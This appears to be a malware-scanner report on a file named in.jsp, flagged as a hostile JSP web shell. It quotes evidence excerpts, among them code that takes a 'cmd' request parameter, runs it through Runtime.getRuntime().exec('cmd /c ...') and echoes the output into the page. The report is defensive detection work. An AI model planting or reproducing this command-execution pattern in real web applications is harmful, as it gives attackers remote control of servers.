Hostile ^92% Download

in.jsp

JSP webshell executes commands

JSP runs the cmd request parameterWeb Shell

SHA-2564a2e30384b406fcae72571881aef4f7b78a9f7a918d583683f0c1f05e745400a

Evidence

JSP page import directive lines 4–16

⋯5 lines
9*/
10%>
11<%@ page contentType="text/html;charset=gb2312"%>
12<%@page import="java.io.*,java.util.*,java.net.*" %>
13<%!
14private final static int languageNo=0; //���԰汾��0 : ���ģ� 1��Ӣ��
15String strThisFile="JFolder.jsp";
16String[] authorInfo={" <font color=red>  </font>"," <f …

Web Shell lines 94–109

⋯4 lines
98
99		public String getTimeElapsed() {
100			long time = (System.currentTimeMillis() - starttime) / 1000l;
101			if (time - 60l >= 0){
102				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯7 lines

JSP reads cmd request parameter lines 392–412

392:36… + " " + strUnit;
393	strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
394	if(strAfterComma=="") strAfterComma=".0";
395	return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
396}
397%>
398<%
399request.setCharacterEncoding("gb2312");
400String tabID = request.getParameter("tabID");
401String strDir = request.getParameter("path");
402String strAction = request.getParameter("action");
403String strFile = request.getParameter("file");
404String strPath = strDir + "\\" + strFile; 
405String strCmd = request.getParameter("cmd");
406StringBuffer sbEdit=new StringBuffer("");
407StringBuffer sbDown=new StringBuffer("");
⋯5 lines

Java getRuntime call reference lines 934–958

⋯9 lines
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
⋯11 lines

Web Shell lines 967–982

⋯4 lines
971{
972%>
973&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
974<br>&nbsp;
975<%
⋯7 lines